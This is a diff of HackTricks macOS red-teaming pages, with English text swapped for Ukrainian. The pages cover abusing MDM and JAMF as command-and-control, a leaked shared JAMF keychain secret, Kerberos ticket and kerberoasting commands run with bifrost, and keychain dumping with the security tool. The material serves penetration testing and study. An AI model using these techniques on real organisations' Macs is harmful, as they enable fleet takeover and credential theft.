<figure><img src="/images/image (48).png" alt=""><figcaption></figcaption></figure>
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
{{#include ../../banners/hacktricks-training.md}}

1396
src/macos-hardening/macos-auto-start-locations.md
View File

File diff suppressed because it is too large Load Diff

186
src/macos-hardening/macos-red-teaming/README.md
View File

@ -2,109 +2,98 @@
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="/images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Get a hacker's perspective on your web apps, network, and cloud**
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## Abusing MDMs
## Зловживання MDM
- JAMF Pro: `jamf checkJSSConnection`
- Kandji
If you manage to **compromise admin credentials** to access the management platform, you can **potentially compromise all the computers** by distributing your malware in the machines.
Якщо вам вдасться **компрометувати облікові дані адміністратора** для доступу до платформи управління, ви можете **потенційно скомпрометувати всі комп'ютери**, розповсюджуючи своє шкідливе ПЗ на машинах.
For red teaming in MacOS environments it's highly recommended to have some understanding of how the MDMs work:
Для red teaming в MacOS середовищах настійно рекомендується мати певне розуміння того, як працюють MDM:
{{#ref}}
macos-mdm/
{{#endref}}
### Using MDM as a C2
### Використання MDM як C2
A MDM will have permission to install, query or remove profiles, install applications, create local admin accounts, set firmware password, change the FileVault key...
MDM матиме дозвіл на встановлення, запит або видалення профілів, встановлення додатків, створення локальних облікових записів адміністратора, встановлення пароля firmware, зміну ключа FileVault...
In order to run your own MDM you need to **your CSR signed by a vendor** which you could try to get with [**https://mdmcert.download/**](https://mdmcert.download/). And to run your own MDM for Apple devices you could use [**MicroMDM**](https://github.com/micromdm/micromdm).
Щоб запустити свій власний MDM, вам потрібно **підписати свій CSR у постачальника**, що ви можете спробувати отримати з [**https://mdmcert.download/**](https://mdmcert.download/). А для запуску свого власного MDM для пристроїв Apple ви можете використовувати [**MicroMDM**](https://github.com/micromdm/micromdm).
However, to install an application in an enrolled device, you still need it to be signed by a developer account... however, upon MDM enrolment the **device adds the SSL cert of the MDM as a trusted CA**, so you can now sign anything.
Однак, щоб встановити додаток на зареєстрованому пристрої, вам все ще потрібно, щоб він був підписаний обліковим записом розробника... однак, під час реєстрації в MDM **пристрій додає SSL сертифікат MDM як довірений CA**, тому ви тепер можете підписувати що завгодно.
To enrol the device in a MDM you. need to install a **`mobileconfig`** file as root, which could be delivered via a **pkg** file (you could compress it in zip and when downloaded from safari it will be decompressed).
Щоб зареєструвати пристрій в MDM, вам потрібно встановити **`mobileconfig`** файл як root, який можна доставити через **pkg** файл (ви можете стиснути його в zip, і коли його завантажать з safari, він буде розпакований).
**Mythic agent Orthrus** uses this technique.
**Mythic agent Orthrus** використовує цю техніку.
### Abusing JAMF PRO
### Зловживання JAMF PRO
JAMF can run **custom scripts** (scripts developed by the sysadmin), **native payloads** (local account creation, set EFI password, file/process monitoring...) and **MDM** (device configurations, device certificates...).
JAMF може виконувати **кастомні скрипти** (скрипти, розроблені системним адміністратором), **рідні корисні навантаження** (створення локальних облікових записів, встановлення пароля EFI, моніторинг файлів/процесів...) та **MDM** (конфігурації пристроїв, сертифікати пристроїв...).
#### JAMF self-enrolment
#### Самостійна реєстрація JAMF
Go to a page such as `https://<company-name>.jamfcloud.com/enroll/` to see if they have **self-enrolment enabled**. If they have it might **ask for credentials to access**.
Перейдіть на сторінку, таку як `https://<company-name>.jamfcloud.com/enroll/`, щоб перевірити, чи мають вони **увімкнену самостійну реєстрацію**. Якщо так, це може **попросити облікові дані для доступу**.
You could use the script [**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) to perform a password spraying attack.
Ви можете використовувати скрипт [**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) для виконання атаки на підбор паролів.
Moreover, after finding proper credentials you could be able to brute-force other usernames with the next form:
Більше того, після знаходження відповідних облікових даних ви зможете брутфорсити інші імена користувачів за допомогою наступної форми:
![](<../../images/image (107).png>)
#### JAMF device Authentication
#### Аутентифікація пристрою JAMF
<figure><img src="../../images/image (167).png" alt=""><figcaption></figcaption></figure>
The **`jamf`** binary contained the secret to open the keychain which at the time of the discovery was **shared** among everybody and it was: **`jk23ucnq91jfu9aj`**.\
Moreover, jamf **persist** as a **LaunchDaemon** in **`/Library/LaunchAgents/com.jamf.management.agent.plist`**
Бінарний файл **`jamf`** містив секрет для відкриття ключниці, який на момент виявлення був **спільним** серед усіх, і це було: **`jk23ucnq91jfu9aj`**.\
Більше того, jamf **постійно** працює як **LaunchDaemon** в **`/Library/LaunchAgents/com.jamf.management.agent.plist`**.
#### JAMF Device Takeover
The **JSS** (Jamf Software Server) **URL** that **`jamf`** will use is located in **`/Library/Preferences/com.jamfsoftware.jamf.plist`**.\
This file basically contains the URL:
#### Захоплення пристрою JAMF
**JSS** (Jamf Software Server) **URL**, який буде використовувати **`jamf`**, знаходиться в **`/Library/Preferences/com.jamfsoftware.jamf.plist`**.\
Цей файл в основному містить URL:
```bash
plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist
[...]
<key>is_virtual_machine</key>
<false/>
<key>jss_url</key>
<string>https://halbornasd.jamfcloud.com/</string>
<key>last_management_framework_change_id</key>
<integer>4</integer>
<key>is_virtual_machine</key>
<false/>
<key>jss_url</key>
<string>https://halbornasd.jamfcloud.com/</string>
<key>last_management_framework_change_id</key>
<integer>4</integer>
[...]
```
So, an attacker could drop a malicious package (`pkg`) that **overwrites this file** when installed setting the **URL to a Mythic C2 listener from a Typhon agent** to now be able to abuse JAMF as C2.
Отже, зловмисник може скинути шкідливий пакет (`pkg`), який **перезаписує цей файл** під час встановлення, встановлюючи **URL на Mythic C2 слухача з агента Typhon**, щоб тепер мати можливість зловживати JAMF як C2.
```bash
# After changing the URL you could wait for it to be reloaded or execute:
sudo jamf policy -id 0
# TODO: There is an ID, maybe it's possible to have the real jamf connection and another one to the C2
```
#### JAMF Імітація
#### JAMF Impersonation
Щоб **імітувати комунікацію** між пристроєм і JMF, вам потрібно:
In order to **impersonate the communication** between a device and JMF you need:
- **UUID** пристрою: `ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'`
- **JAMF ключ** з: `/Library/Application\ Support/Jamf/JAMF.keychain`, який містить сертифікат пристрою
- The **UUID** of the device: `ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'`
- The **JAMF keychain** from: `/Library/Application\ Support/Jamf/JAMF.keychain` which contains the device certificate
З цією інформацією, **створіть ВМ** з **викраденим** апаратним **UUID** і з **вимкненим SIP**, скиньте **JAMF ключ**, **підключіть** агент Jamf і викрадіть його інформацію.
With this information, **create a VM** with the **stolen** Hardware **UUID** and with **SIP disabled**, drop the **JAMF keychain,** **hook** the Jamf **agent** and steal its information.
#### Secrets stealing
#### Викрадення секретів
<figure><img src="../../images/image (1025).png" alt=""><figcaption><p>a</p></figcaption></figure>
You could also monitor the location `/Library/Application Support/Jamf/tmp/` for the **custom scripts** admins might want to execute via Jamf as they are **placed here, executed and removed**. These scripts **might contain credentials**.
Ви також можете моніторити місце `/Library/Application Support/Jamf/tmp/` для **кастомних скриптів**, які адміністратори можуть захотіти виконати через Jamf, оскільки вони **розміщуються тут, виконуються і видаляються**. Ці скрипти **можуть містити облікові дані**.
However, **credentials** might be passed tho these scripts as **parameters**, so you would need to monitor `ps aux | grep -i jamf` (without even being root).
Однак, **облікові дані** можуть передаватися цим скриптам як **параметри**, тому вам потрібно буде моніторити `ps aux | grep -i jamf` (навіть не будучи root).
The script [**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py) can listen for new files being added and new process arguments.
Скрипт [**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py) може слухати нові файли, які додаються, і нові аргументи процесу.
### macOS Remote Access
### macOS Віддалений доступ
And also about **MacOS** "special" **network** **protocols**:
А також про **MacOS** "спеціальні" **мережеві** **протоколи**:
{{#ref}}
../macos-security-and-privilege-escalation/macos-protocols.md
@ -112,7 +101,7 @@ And also about **MacOS** "special" **network** **protocols**:
## Active Directory
In some occasions you will find that the **MacOS computer is connected to an AD**. In this scenario you should try to **enumerate** the active directory as you are use to it. Find some **help** in the following pages:
В деяких випадках ви виявите, що **комп'ютер MacOS підключений до AD**. У цьому сценарії вам слід спробувати **перерахувати** активний каталог, як ви звикли. Знайдіть деяку **допомогу** на наступних сторінках:
{{#ref}}
../../network-services-pentesting/pentesting-ldap.md
@ -126,41 +115,36 @@ In some occasions you will find that the **MacOS computer is connected to an AD*
../../network-services-pentesting/pentesting-kerberos-88/
{{#endref}}
Some **local MacOS tool** that may also help you is `dscl`:
Деякий **локальний інструмент MacOS**, який також може вам допомогти, це `dscl`:
```bash
dscl "/Active Directory/[Domain]/All Domains" ls /
```
Також є кілька інструментів, підготовлених для MacOS, щоб автоматично перераховувати AD та працювати з kerberos:
Also there are some tools prepared for MacOS to automatically enumerate the AD and play with kerberos:
- [**Machound**](https://github.com/XMCyber/MacHound): MacHound is an extension to the Bloodhound audting tool allowing collecting and ingesting of Active Directory relationships on MacOS hosts.
- [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost is an Objective-C project designed to interact with the Heimdal krb5 APIs on macOS. The goal of the project is to enable better security testing around Kerberos on macOS devices using native APIs without requiring any other framework or packages on the target.
- [**Orchard**](https://github.com/its-a-feature/Orchard): JavaScript for Automation (JXA) tool to do Active Directory enumeration.
### Domain Information
- [**Machound**](https://github.com/XMCyber/MacHound): MacHound - це розширення до інструменту аудиту Bloodhound, що дозволяє збирати та імплементувати відносини Active Directory на MacOS хостах.
- [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost - це проект на Objective-C, призначений для взаємодії з API Heimdal krb5 на macOS. Мета проекту - забезпечити кращий тестування безпеки навколо Kerberos на пристроях macOS, використовуючи рідні API без необхідності в інших фреймворках або пакетах на цілі.
- [**Orchard**](https://github.com/its-a-feature/Orchard): Інструмент JavaScript для автоматизації (JXA) для перерахунку Active Directory.
### Інформація про домен
```bash
echo show com.apple.opendirectoryd.ActiveDirectory | scutil
```
### Користувачі
### Users
Три типи користувачів MacOS:
The three types of MacOS users are:
- **Локальні користувачі** — Керуються локальною службою OpenDirectory, вони не пов'язані жодним чином з Active Directory.
- **Мережеві користувачі** — Вольатильні користувачі Active Directory, які потребують з'єднання з сервером DC для аутентифікації.
- **Мобільні користувачі** — Користувачі Active Directory з локальною резервною копією своїх облікових даних та файлів.
- **Local Users** — Managed by the local OpenDirectory service, they aren’t connected in any way to the Active Directory.
- **Network Users** — Volatile Active Directory users who require a connection to the DC server to authenticate.
- **Mobile Users** — Active Directory users with a local backup for their credentials and files.
Локальна інформація про користувачів та групи зберігається в папці _/var/db/dslocal/nodes/Default._\
Наприклад, інформація про користувача з ім'ям _mark_ зберігається в _/var/db/dslocal/nodes/Default/users/mark.plist_, а інформація про групу _admin_ — в _/var/db/dslocal/nodes/Default/groups/admin.plist_.
The local information about users and groups is stored in in the folder _/var/db/dslocal/nodes/Default._\
For example, the info about user called _mark_ is stored in _/var/db/dslocal/nodes/Default/users/mark.plist_ and the info about the group _admin_ is in _/var/db/dslocal/nodes/Default/groups/admin.plist_.
In addition to using the HasSession and AdminTo edges, **MacHound adds three new edges** to the Bloodhound database:
- **CanSSH** - entity allowed to SSH to host
- **CanVNC** - entity allowed to VNC to host
- **CanAE** - entity allowed to execute AppleEvent scripts on host
На додаток до використання країв HasSession та AdminTo, **MacHound додає три нові краї** до бази даних Bloodhound:
- **CanSSH** - сутність, якій дозволено SSH до хоста
- **CanVNC** - сутність, якій дозволено VNC до хоста
- **CanAE** - сутність, якій дозволено виконувати скрипти AppleEvent на хості
```bash
#User enumeration
dscl . ls /Users
@ -182,71 +166,60 @@ dscl "/Active Directory/TEST/All Domains" read "/Groups/[groupname]"
#Domain Information
dsconfigad -show
```
Більше інформації в [https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/](https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/)
More info in [https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/](https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/)
### Computer$ password
Get passwords using:
### Computer$ пароль
Отримати паролі за допомогою:
```bash
bifrost --action askhash --username [name] --password [password] --domain [domain]
```
It's possible to access the **`Computer$`** password inside the System keychain.
Можливо отримати пароль **`Computer$`** всередині системного ключа.
### Over-Pass-The-Hash
Get a TGT for an specific user and service:
Отримайте TGT для конкретного користувача та служби:
```bash
bifrost --action asktgt --username [user] --domain [domain.com] \
--hash [hash] --enctype [enctype] --keytab [/path/to/keytab]
--hash [hash] --enctype [enctype] --keytab [/path/to/keytab]
```
Once the TGT is gathered, it's possible to inject it in the current session with:
Як тільки TGT зібрано, його можна ввести в поточну сесію за допомогою:
```bash
bifrost --action asktgt --username test_lab_admin \
--hash CF59D3256B62EE655F6430B0F80701EE05A0885B8B52E9C2480154AFA62E78 \
--enctype aes256 --domain test.lab.local
--hash CF59D3256B62EE655F6430B0F80701EE05A0885B8B52E9C2480154AFA62E78 \
--enctype aes256 --domain test.lab.local
```
### Kerberoasting
### Керберостинг
```bash
bifrost --action asktgs --spn [service] --domain [domain.com] \
--username [user] --hash [hash] --enctype [enctype]
--username [user] --hash [hash] --enctype [enctype]
```
With obtained service tickets it's possible to try to access shares in other computers:
З отриманими сервісними квитками можна спробувати отримати доступ до спільних ресурсів на інших комп'ютерах:
```bash
smbutil view //computer.fqdn
mount -t smbfs //server/folder /local/mount/point
```
## Доступ до Ключниці
## Accessing the Keychain
The Keychain highly probably contains sensitive information that if accessed without generating a prompt could help to move forward a red team exercise:
Ключниця, ймовірно, містить чутливу інформацію, яка, якщо отримати доступ без генерації запиту, може допомогти просунутися в вправі червоної команди:
{{#ref}}
macos-keychain.md
{{#endref}}
## External Services
## Зовнішні Сервіси
MacOS Red Teaming is different from a regular Windows Red Teaming as usually **MacOS is integrated with several external platforms directly**. A common configuration of MacOS is to access to the computer using **OneLogin synchronised credentials, and accessing several external services** (like github, aws...) via OneLogin.
MacOS Red Teaming відрізняється від звичайного Windows Red Teaming, оскільки зазвичай **MacOS інтегровано з кількома зовнішніми платформами безпосередньо**. Звичайна конфігурація MacOS полягає в доступі до комп'ютера за допомогою **синхронізованих облікових даних OneLogin та доступу до кількох зовнішніх сервісів** (таких як github, aws...) через OneLogin.
## Misc Red Team techniques
## Різні техніки червоної команди
### Safari
When a file is downloaded in Safari, if its a "safe" file, it will be **automatically opened**. So for example, if you **download a zip**, it will be automatically decompressed:
Коли файл завантажується в Safari, якщо це "безпечний" файл, він буде **автоматично відкритий**. Тож, наприклад, якщо ви **завантажите zip**, він буде автоматично розпакований:
<figure><img src="../../images/image (226).png" alt=""><figcaption></figcaption></figure>
## References
## Посилання
- [**https://www.youtube.com/watch?v=IiMladUbL6E**](https://www.youtube.com/watch?v=IiMladUbL6E)
- [**https://medium.com/xm-cyber/introducing-machound-a-solution-to-macos-active-directory-based-attacks-2a425f0a22b6**](https://medium.com/xm-cyber/introducing-machound-a-solution-to-macos-active-directory-based-attacks-2a425f0a22b6)
@ -254,12 +227,5 @@ When a file is downloaded in Safari, if its a "safe" file, it will be **automati
- [**Come to the Dark Side, We Have Apples: Turning macOS Management Evil**](https://www.youtube.com/watch?v=pOQOh07eMxY)
- [**OBTS v3.0: "An Attackers Perspective on Jamf Configurations" - Luke Roberts / Calum Hall**](https://www.youtube.com/watch?v=ju1IYWUv4ZA)
<figure><img src="/images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Get a hacker's perspective on your web apps, network, and cloud**
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{{#include ../../banners/hacktricks-training.md}}

138
src/macos-hardening/macos-red-teaming/macos-keychain.md
View File

@ -4,60 +4,59 @@
## Main Keychains
- The **User Keychain** (`~/Library/Keychains/login.keychain-db`), which is used to store **user-specific credentials** like application passwords, internet passwords, user-generated certificates, network passwords, and user-generated public/private keys.
- The **System Keychain** (`/Library/Keychains/System.keychain`), which stores **system-wide credentials** such as WiFi passwords, system root certificates, system private keys, and system application passwords.
- It's possible to find other components like certificates in `/System/Library/Keychains/*`
- In **iOS** there is only one **Keychain** located in `/private/var/Keychains/`. This folder also contains databases for the `TrustStore`, certificates authorities (`caissuercache`) and OSCP entries (`ocspache`).
- Apps will be restricted in the keychain only to their private area based on their application identifier.
- **Ключниця користувача** (`~/Library/Keychains/login.keychain-db`), яка використовується для зберігання **облікових даних, специфічних для користувача**, таких як паролі додатків, паролі в Інтернеті, сертифікати, створені користувачем, паролі мережі та публічні/приватні ключі, створені користувачем.
- **Системна ключниця** (`/Library/Keychains/System.keychain`), яка зберігає **системні облікові дані**, такі як паролі WiFi, кореневі сертифікати системи, приватні ключі системи та паролі додатків системи.
- Можна знайти інші компоненти, такі як сертифікати, у `/System/Library/Keychains/*`
- У **iOS** є лише одна **ключниця**, розташована в `/private/var/Keychains/`. Ця папка також містить бази даних для `TrustStore`, органів сертифікації (`caissuercache`) та записів OSCP (`ocspache`).
- Додатки будуть обмежені в ключниці лише до їх приватної області на основі їх ідентифікатора додатка.
### Password Keychain Access
### Доступ до ключниці паролів
These files, while they do not have inherent protection and can be **downloaded**, are encrypted and require the **user's plaintext password to be decrypted**. A tool like [**Chainbreaker**](https://github.com/n0fate/chainbreaker) could be used for decryption.
Ці файли, хоча й не мають вбудованого захисту і можуть бути **завантажені**, зашифровані і вимагають **плоского пароля користувача для розшифровки**. Інструмент, такий як [**Chainbreaker**](https://github.com/n0fate/chainbreaker), може бути використаний для розшифровки.
## Keychain Entries Protections
## Захист записів ключниці
### ACLs
Each entry in the keychain is governed by **Access Control Lists (ACLs)** which dictate who can perform various actions on the keychain entry, including:
Кожен запис у ключниці регулюється **Списками контролю доступу (ACLs)**, які визначають, хто може виконувати різні дії над записом ключниці, включаючи:
- **ACLAuhtorizationExportClear**: Allows the holder to get the clear text of the secret.
- **ACLAuhtorizationExportWrapped**: Allows the holder to get the clear text encrypted with another provided password.
- **ACLAuhtorizationAny**: Allows the holder to perform any action.
- **ACLAuhtorizationExportClear**: Дозволяє власнику отримати відкритий текст секрету.
- **ACLAuhtorizationExportWrapped**: Дозволяє власнику отримати відкритий текст, зашифрований іншим наданим паролем.
- **ACLAuhtorizationAny**: Дозволяє власнику виконувати будь-яку дію.
The ACLs are further accompanied by a **list of trusted applications** that can perform these actions without prompting. This could be:
ACL супроводжуються **списком довірених додатків**, які можуть виконувати ці дії без запиту. Це може бути:
- **N`il`** (no authorization required, **everyone is trusted**)
- An **empty** list (**nobody** is trusted)
- **List** of specific **applications**.
- **N`il`** (необхідна авторизація, **всі довірені**)
- **порожній** список (**ніхто** не довірений)
- **Список** конкретних **додатків**.
Also the entry might contain the key **`ACLAuthorizationPartitionID`,** which is use to identify the **teamid, apple,** and **cdhash.**
Також запис може містити ключ **`ACLAuthorizationPartitionID`,** який використовується для ідентифікації **teamid, apple,** та **cdhash.**
- If the **teamid** is specified, then in order to **access the entry** value **withuot** a **prompt** the used application must have the **same teamid**.
- If the **apple** is specified, then the app needs to be **signed** by **Apple**.
- If the **cdhash** is indicated, then **app** must have the specific **cdhash**.
- Якщо **teamid** вказано, то для **доступу до значення запису** **без** **запиту** використовуваний додаток повинен мати **той же teamid**.
- Якщо **apple** вказано, то додаток повинен бути **підписаний** **Apple**.
- Якщо **cdhash** вказано, то **додаток** повинен мати конкретний **cdhash**.
### Creating a Keychain Entry
### Створення запису в ключниці
When a **new** **entry** is created using **`Keychain Access.app`**, the following rules apply:
Коли **новий** **запис** створюється за допомогою **`Keychain Access.app`**, застосовуються такі правила:
- All apps can encrypt.
- **No apps** can export/decrypt (without prompting the user).
- All apps can see the integrity check.
- No apps can change ACLs.
- The **partitionID** is set to **`apple`**.
- Усі додатки можуть шифрувати.
- **Жоден додаток** не може експортувати/розшифровувати (без запиту користувача).
- Усі додатки можуть бачити перевірку цілісності.
- Жоден додаток не може змінювати ACLs.
- **partitionID** встановлюється на **`apple`**.
When an **application creates an entry in the keychain**, the rules are slightly different:
Коли **додаток створює запис у ключниці**, правила трохи інші:
- All apps can encrypt.
- Only the **creating application** (or any other apps explicitly added) can export/decrypt (without prompting the user).
- All apps can see the integrity check.
- No apps can change the ACLs.
- The **partitionID** is set to **`teamid:[teamID here]`**.
- Усі додатки можуть шифрувати.
- Тільки **додаток, що створює**, (або будь-які інші додатки, які явно додані) можуть експортувати/розшифровувати (без запиту користувача).
- Усі додатки можуть бачити перевірку цілісності.
- Жоден додаток не може змінювати ACLs.
- **partitionID** встановлюється на **`teamid:[teamID here]`**.
## Accessing the Keychain
## Доступ до ключниці
### `security`
```bash
# List keychains
security list-keychains
@ -74,58 +73,57 @@ security set-generic-password-parition-list -s "test service" -a "test acount" -
# Dump specifically the user keychain
security dump-keychain ~/Library/Keychains/login.keychain-db
```
### APIs
> [!TIP]
> The **keychain enumeration and dumping** of secrets that **won't generate a prompt** can be done with the tool [**LockSmith**](https://github.com/its-a-feature/LockSmith)
> Перерахунок та вивантаження секретів з **keychain**, які **не викликають запит**, можна виконати за допомогою інструмента [**LockSmith**](https://github.com/its-a-feature/LockSmith)
>
> Other API endpoints can be found in [**SecKeyChain.h**](https://opensource.apple.com/source/libsecurity_keychain/libsecurity_keychain-55017/lib/SecKeychain.h.auto.html) source code.
> Інші кінцеві точки API можна знайти в [**SecKeyChain.h**](https://opensource.apple.com/source/libsecurity_keychain/libsecurity_keychain-55017/lib/SecKeychain.h.auto.html) вихідному коді.
List and get **info** about each keychain entry using the **Security Framework** or you could also check the Apple's open source cli tool [**security**](https://opensource.apple.com/source/Security/Security-59306.61.1/SecurityTool/macOS/security.c.auto.html)**.** Some API examples:
Список та отримання **інформації** про кожен запис у keychain за допомогою **Security Framework** або ви також можете перевірити відкритий CLI інструмент Apple [**security**](https://opensource.apple.com/source/Security/Security-59306.61.1/SecurityTool/macOS/security.c.auto.html)**.** Деякі приклади API:
- The API **`SecItemCopyMatching`** gives info about each entry and there are some attributes you can set when using it:
- **`kSecReturnData`**: If true, it will try to decrypt the data (set to false to avoid potential pop-ups)
- **`kSecReturnRef`**: Get also reference to keychain item (set to true in case later you see you can decrypt without pop-up)
- **`kSecReturnAttributes`**: Get metadata about entries
- **`kSecMatchLimit`**: How many results to return
- **`kSecClass`**: What kind of keychain entry
- API **`SecItemCopyMatching`** надає інформацію про кожен запис, і є кілька атрибутів, які ви можете встановити при його використанні:
- **`kSecReturnData`**: Якщо true, він спробує розшифрувати дані (встановіть false, щоб уникнути потенційних спливаючих вікон)
- **`kSecReturnRef`**: Отримати також посилання на елемент keychain (встановіть true, якщо пізніше ви побачите, що можете розшифрувати без спливаючого вікна)
- **`kSecReturnAttributes`**: Отримати метадані про записи
- **`kSecMatchLimit`**: Скільки результатів повернути
- **`kSecClass`**: Який тип запису в keychain
Get **ACLs** of each entry:
Отримати **ACL** кожного запису:
- With the API **`SecAccessCopyACLList`** you can get the **ACL for the keychain item**, and it will return a list of ACLs (like `ACLAuhtorizationExportClear` and the others previously mentioned) where each list has:
- Description
- **Trusted Application List**. This could be:
- An app: /Applications/Slack.app
- A binary: /usr/libexec/airportd
- A group: group://AirPort
- За допомогою API **`SecAccessCopyACLList`** ви можете отримати **ACL для елемента keychain**, і він поверне список ACL (таких як `ACLAuhtorizationExportClear` та інші, згадані раніше), де кожен список має:
- Опис
- **Список довірених додатків**. Це може бути:
- Додаток: /Applications/Slack.app
- Бінарний файл: /usr/libexec/airportd
- Група: group://AirPort
Export the data:
Експортувати дані:
- The API **`SecKeychainItemCopyContent`** gets the plaintext
- The API **`SecItemExport`** exports the keys and certificates but might have to set passwords to export the content encrypted
- API **`SecKeychainItemCopyContent`** отримує відкритий текст
- API **`SecItemExport`** експортує ключі та сертифікати, але може знадобитися встановити паролі для експорту вмісту в зашифрованому вигляді
And these are the **requirements** to be able to **export a secret without a prompt**:
І це є **вимоги** для того, щоб **експортувати секрет без запиту**:
- If **1+ trusted** apps listed:
- Need the appropriate **authorizations** (**`Nil`**, or be **part** of the allowed list of apps in the authorization to access the secret info)
- Need code signature to match **PartitionID**
- Need code signature to match that of one **trusted app** (or be a member of the right KeychainAccessGroup)
- If **all applications trusted**:
- Need the appropriate **authorizations**
- Need code signature to match **PartitionID**
- If **no PartitionID**, then this isn't needed
- Якщо **1+ довірених** додатків у списку:
- Потрібні відповідні **авторизації** (**`Nil`**, або бути **частиною** дозволеного списку додатків для доступу до секретної інформації)
- Потрібен код підпису, щоб відповідати **PartitionID**
- Потрібен код підпису, щоб відповідати одному **довіреному додатку** (або бути членом правильного KeychainAccessGroup)
- Якщо **всі додатки довірені**:
- Потрібні відповідні **авторизації**
- Потрібен код підпису, щоб відповідати **PartitionID**
- Якщо **немає PartitionID**, тоді це не потрібно
> [!CAUTION]
> Therefore, if there is **1 application listed**, you need to **inject code in that application**.
> Отже, якщо є **1 додаток у списку**, вам потрібно **впровадити код у цей додаток**.
>
> If **apple** is indicated in the **partitionID**, you could access it with **`osascript`** so anything that is trusting all applications with apple in the partitionID. **`Python`** could also be used for this.
> Якщо **apple** вказано в **partitionID**, ви можете отримати доступ до нього за допомогою **`osascript`**, тому все, що довіряє всім додаткам з apple в partitionID. **`Python`** також можна використовувати для цього.
### Two additional attributes
### Два додаткові атрибути
- **Invisible**: It's a boolean flag to **hide** the entry from the **UI** Keychain app
- **General**: It's to store **metadata** (so it's NOT ENCRYPTED)
- Microsoft was storing in plain text all the refresh tokens to access sensitive endpoint.
- **Invisible**: Це булевий прапорець для **приховування** запису з **UI** додатку Keychain
- **General**: Це для зберігання **метаданих** (тому це НЕ ЗАШИФРОВАНО)
- Microsoft зберігав у відкритому тексті всі токени оновлення для доступу до чутливих кінцевих точок.
## References

256
src/macos-hardening/macos-red-teaming/macos-mdm/README.md
View File

@ -2,199 +2,199 @@
{{#include ../../../banners/hacktricks-training.md}}
**To learn about macOS MDMs check:**
**Щоб дізнатися про macOS MDM, перегляньте:**
- [https://www.youtube.com/watch?v=ku8jZe-MHUU](https://www.youtube.com/watch?v=ku8jZe-MHUU)
- [https://duo.com/labs/research/mdm-me-maybe](https://duo.com/labs/research/mdm-me-maybe)
## Basics
## Основи
### **MDM (Mobile Device Management) Overview**
### **Огляд MDM (Управління мобільними пристроями)**
[Mobile Device Management](https://en.wikipedia.org/wiki/Mobile_device_management) (MDM) is utilized for overseeing various end-user devices like smartphones, laptops, and tablets. Particularly for Apple's platforms (iOS, macOS, tvOS), it involves a set of specialized features, APIs, and practices. The operation of MDM hinges on a compatible MDM server, which is either commercially available or open-source, and must support the [MDM Protocol](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). Key points include:
[Управління мобільними пристроями](https://en.wikipedia.org/wiki/Mobile_device_management) (MDM) використовується для контролю різних пристроїв кінцевих користувачів, таких як смартфони, ноутбуки та планшети. Особливо для платформ Apple (iOS, macOS, tvOS) це включає набір спеціалізованих функцій, API та практик. Робота MDM залежить від сумісного сервера MDM, який може бути комерційно доступним або з відкритим кодом, і повинен підтримувати [MDM Protocol](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). Основні моменти включають:
- Centralized control over devices.
- Dependence on an MDM server that adheres to the MDM protocol.
- Capability of the MDM server to dispatch various commands to devices, for instance, remote data erasure or configuration installation.
- Централізований контроль над пристроями.
- Залежність від сервера MDM, який дотримується протоколу MDM.
- Можливість сервера MDM надсилати різні команди пристроям, наприклад, віддалене видалення даних або установку конфігурацій.
### **Basics of DEP (Device Enrollment Program)**
### **Основи DEP (Програма реєстрації пристроїв)**
The [Device Enrollment Program](https://www.apple.com/business/site/docs/DEP_Guide.pdf) (DEP) offered by Apple streamlines the integration of Mobile Device Management (MDM) by facilitating zero-touch configuration for iOS, macOS, and tvOS devices. DEP automates the enrollment process, allowing devices to be operational right out of the box, with minimal user or administrative intervention. Essential aspects include:
[Програма реєстрації пристроїв](https://www.apple.com/business/site/docs/DEP_Guide.pdf) (DEP), що пропонується Apple, спрощує інтеграцію управління мобільними пристроями (MDM), забезпечуючи конфігурацію без дотиків для пристроїв iOS, macOS та tvOS. DEP автоматизує процес реєстрації, дозволяючи пристроям бути готовими до роботи відразу з коробки, з мінімальним втручанням користувача або адміністратора. Основні аспекти включають:
- Enables devices to autonomously register with a pre-defined MDM server upon initial activation.
- Primarily beneficial for brand-new devices, but also applicable for devices undergoing reconfiguration.
- Facilitates a straightforward setup, making devices ready for organizational use swiftly.
- Дозволяє пристроям автономно реєструватися на попередньо визначеному сервері MDM під час початкової активації.
- Переважно корисно для нових пристроїв, але також застосовується для пристроїв, що проходять переналаштування.
- Спрощує налаштування, швидко готуючи пристрої до організаційного використання.
### **Security Consideration**
### **Розгляд безпеки**
